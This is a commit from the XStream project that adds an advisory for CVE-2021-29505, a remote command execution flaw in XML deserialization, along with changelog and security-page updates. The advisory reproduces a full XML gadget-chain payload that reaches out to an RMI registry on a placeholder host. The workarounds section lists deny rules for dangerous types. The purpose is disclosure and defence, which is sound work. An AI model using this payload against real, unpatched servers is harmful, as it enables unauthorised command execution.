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Add description of CVE-2021-29505 and bug fix.
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joehni committed May 14, 2021
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119 changes: 119 additions & 0 deletions xstream-distribution/src/content/CVE-2021-29505.html
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<html>
<!--
Copyright (C) 2021 XStream committers.
All rights reserved.
The software in this package is published under the terms of the BSD
style license a copy of which has been included with this distribution in
the LICENSE.txt file.
Created on 8. May 2021 by Joerg Schaible
-->
<head>
<title>CVE-2021-29505</title>
</head>
<body>

<h2 id="vulnerability">Vulnerability</h2>

<p>CVE-2021-29505: XStream is vulnerable to a Remote Command Execution attack.</p>

<h2 id="affected_versions">Affected Versions</h2>

<p>All versions until and including version 1.4.16 are affected, if using the version out of the box. No user is
affected, who followed the recommendation to setup <a href="security.html#framework">XStream's security
framework</a> with a whitelist limited to the minimal required types.</p>

<h2 id="description">Description</h2>

<p>The processed stream at unmarshalling time contains type information to recreate the formerly written objects.
XStream creates therefore new instances based on these type information. An attacker can manipulate the processed
input stream and replace or inject objects, that result in execution of a local command on the server.</p>

<h2 id="reproduction">Steps to Reproduce</h2>

<p>Create a simple PriorityQueue and use XStream to marshal it to XML. Replace the XML with following snippet and
unmarshal it again with XStream:</p>
<div class="Source XML"><pre>&lt;java.util.PriorityQueue serialization='custom'&gt;
&lt;unserializable-parents/&gt;
&lt;java.util.PriorityQueue&gt;
&lt;default&gt;
&lt;size&gt;2&lt;/size&gt;
&lt;/default&gt;
&lt;int&gt;3&lt;/int&gt;
&lt;javax.naming.ldap.Rdn_-RdnEntry&gt;
&lt;type&gt;12345&lt;/type&gt;
&lt;value class='com.sun.org.apache.xpath.internal.objects.XString'&gt;
&lt;m__obj class='string'&gt;com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content: &lt;none&gt;&lt;/m__obj&gt;
&lt;/value&gt;
&lt;/javax.naming.ldap.Rdn_-RdnEntry&gt;
&lt;javax.naming.ldap.Rdn_-RdnEntry&gt;
&lt;type&gt;12345&lt;/type&gt;
&lt;value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'&gt;
&lt;message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'&gt;
&lt;parsedMessage&gt;true&lt;/parsedMessage&gt;
&lt;soapVersion&gt;SOAP_11&lt;/soapVersion&gt;
&lt;bodyParts/&gt;
&lt;sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'&gt;
&lt;attachmentsInitialized&gt;false&lt;/attachmentsInitialized&gt;
&lt;multiPart class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'&gt;
&lt;soapPart/&gt;
&lt;mm&gt;
&lt;it class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'&gt;
&lt;aliases class='com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl'&gt;
&lt;candidates class='com.sun.jndi.rmi.registry.BindingEnumeration'&gt;
&lt;names&gt;
&lt;string&gt;aa&lt;/string&gt;
&lt;string&gt;aa&lt;/string&gt;
&lt;/names&gt;
&lt;ctx&gt;
&lt;environment/&gt;
&lt;registry class='sun.rmi.registry.RegistryImpl_Stub' serialization='custom'&gt;
&lt;java.rmi.server.RemoteObject&gt;
&lt;string&gt;UnicastRef&lt;/string&gt;
&lt;string&gt;ip2&lt;/string&gt;
&lt;int&gt;1099&lt;/int&gt;
&lt;long&gt;0&lt;/long&gt;
&lt;int&gt;0&lt;/int&gt;
&lt;short&gt;0&lt;/short&gt;
&lt;boolean&gt;false&lt;/boolean&gt;
&lt;/java.rmi.server.RemoteObject&gt;
&lt;/registry&gt;
&lt;host&gt;ip2&lt;/host&gt;
&lt;port&gt;1099&lt;/port&gt;
&lt;/ctx&gt;
&lt;/candidates&gt;
&lt;/aliases&gt;
&lt;/it&gt;
&lt;/mm&gt;
&lt;/multiPart&gt;
&lt;/sm&gt;
&lt;/message&gt;
&lt;/value&gt;
&lt;/javax.naming.ldap.Rdn_-RdnEntry&gt;
&lt;/java.util.PriorityQueue&gt;
&lt;/java.util.PriorityQueue&gt;
</pre></div>
<div class="Source Java"><pre>XStream xstream = new XStream();
xstream.fromXML(xml);
</pre></div>

<p>As soon as the XML gets unmarshalled, the payload gets executed and the command is executed on the host.</p>

<p>Note, this example uses XML, but the attack can be performed for any supported format. e.g. JSON.</p>

<h2 id="impact">Impact</h2>

<p>The vulnerability may allow a remote attacker has sufficient rights to execute commands of the host only by
manipulating the processed input stream.</p>

<h2 id="workarounds">Workarounds</h2>

<p>See <a href="security.html#workaround">workarounds</a> for the different versions covering all CVEs.</p>

<h2 id="credits">Credits</h2>

<p>V3geB1rd, white hat hacker from Tencent Security Response Center found and reported the issue to XStream and provided the required information to reproduce it.</p>

</body>
</html>
19 changes: 17 additions & 2 deletions xstream-distribution/src/content/changes.html
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Expand Up @@ -101,11 +101,26 @@ <h2>Stream compatibility</h2>
<li>No support for Hibernate 3 collections.</li>
</ul>

<!--
<h1 id="upcoming-1.4.x">Upcoming 1.4.x maintenance release</h1>

<p>Not yet released.</p>
-->

<p class="highlight">This maintenance release addresses the security vulnerability
<a href="CVE-2020-26258.html">CVE-2021-29505</a>, when unmarshalling with XStream instances using an uninitialized
security framework.</p>

<h2>Stream compatibility</h2>

<ul>
<li>The following types are now blacklisted by default and the deserialization
of XML containing one of the two types will fail. You will have to enable these types by explicit
configuration, if you need them:<br>
<ul>
<li>any type in the java.rmi.* and sun.rmi.* package hierarchies</li>
<li>the individual type com.sun.jndi.toolkit.dir.LazySearchEnumerationImpl</li>
</ul>
</li>
</ul>

<h1 id="1.4.16">1.4.16</h1>

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18 changes: 15 additions & 3 deletions xstream-distribution/src/content/security.html
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Expand Up @@ -44,11 +44,20 @@ <h2 id="CVEs">Documented Vulnerabilities</h2>
Exposure (CVE) system managed by the <a href="http://www.mitre.org/">Mitre Corporation</a>. Following a list of the
reported vulnerabilities for the different versions:</p>

<table summary="Table of reported vulnerabilities daocumented as CVE">
<table summary="Table of reported vulnerabilities documented as CVE">
<tr>
<th>CVE</th>
<th>Description</th>
</tr>
<tr>
<th>Version 1.4.16</th>
<td></td>
<td></td>
</tr>
<tr>
<th><a href="CVE-2021-29505.html">CVE-2021-29505</a></th>
<td>XStream is vulnerable to a Remote Command Execution attack.</td>
</tr>
<tr>
<th>Version 1.4.15</th>
<td></td>
Expand Down Expand Up @@ -393,16 +402,19 @@ <h2 id="workaround">Workarounds for older XStream versions</h2>
<div class="Source Java"><pre>XStream xstream = new XStream();
// add your allowed types, type hierarchies or packages here
</pre></div>
<p>Users of XStream 1.4.14 who insist to use XStream default blacklist - despite that clear recommendation - can
<p>Users of XStream 1.4.16 who insist to use XStream default blacklist - despite that clear recommendation - can
add these lines to XStream's setup code:</p>
<div class="Source Java"><pre>xstream.denyTypesByRegExp(new String[]{ ".*\\.Lazy(?:Search)?Enumeration.*", "(?:java|sun)\\.rmi\\..*" });
</pre></div>
<p>Users of XStream 1.4.15 should <strong>additionally</strong> add these lines to the lines from above:</p>
<div class="Source Java"><pre>xstream.denyTypes(new String[]{ "sun.awt.datatransfer.DataTransferer$IndexOrderComparator", "sun.swing.SwingLazyValue", "com.sun.corba.se.impl.activation.ServerTableEntry", "com.sun.tools.javac.processing.JavacProcessingEnvironment$NameProcessIterator" });
xstream.denyTypesByRegExp(new String[]{ ".*\\$ServiceNameIterator", "javafx\\.collections\\.ObservableList\\$.*", ".*\\.bcel\\..*\\.util\\.ClassLoader" });
xstream.denyTypeHierarchy(java.io.InputStream.class );
xstream.denyTypeHierarchy(java.nio.channels.Channel.class );
xstream.denyTypeHierarchy(javax.activation.DataSource.class );
xstream.denyTypeHierarchy(javax.sql.rowset.BaseRowSet.class );
</pre></div>
<p>Users of XStream 1.4.13 should <strong>additionally</strong> add these two lines to the lines from above:</p>
<p>Users of XStream 1.4.14 and 1.4.13 should <strong>additionally</strong> add these two lines to the lines from above:</p>
<div class="Source Java"><pre>xstream.denyTypes(new String[]{ "javax.imageio.ImageIO$ContainsFilter" });
xstream.denyTypes(new Class[]{ java.lang.ProcessBuilder.class });
</pre></div>
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1 change: 1 addition & 0 deletions xstream-distribution/src/content/website.xml
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<page>CVE-2021-21349.html</page>
<page>CVE-2021-21350.html</page>
<page>CVE-2021-21351.html</page>
<page>CVE-2021-29505.html</page>
<page>CVE-2020-26217.html</page>
<page>CVE-2020-26258.html</page>
<page>CVE-2020-26259.html</page>
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